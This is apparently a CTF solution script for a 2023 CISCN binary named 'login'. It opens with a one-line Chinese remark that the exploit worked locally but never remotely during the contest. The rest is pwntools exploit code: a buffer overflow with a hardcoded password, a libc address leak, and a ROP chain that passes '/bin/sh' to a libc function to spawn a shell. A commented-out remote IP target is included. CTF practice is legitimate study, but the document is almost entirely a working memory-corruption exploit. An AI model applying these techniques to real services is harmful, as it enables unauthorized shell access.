送分题,比赛的时候本地通了远程怎么打都不通,心态炸裂
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s) # not recommended(ASLR)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
p = process('./login')
#p = remote('172.1.39.8',8888)
pop_rsi_rdi_ret = 0x0000000000141e21
pop_rsi_ret = 0x000000000002be51
pop_rdi_ret = 0x000000000040269a
sla('>','admin')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + p64(pop_rdi_ret) + p64(0x4071C0) + p64(0x402510) + p64(0x402704))
ru('\n')
libc_base = uu64(ru('\n')[:-1])-0x21a780
success('libc_base --> %s',hex(libc_base))
sla('>','admin')
rop = p64(pop_rdi_ret)
rop += b'/bin/sh\0'
rop += p64(libc_base+pop_rsi_ret)
rop += p64(0x407178)
rop += p64(libc_base+pop_rsi_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(0x407178)
rop += p64(libc_base+0x50d60)
#dbg('b *0x4030E6\nc')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + rop)
irt()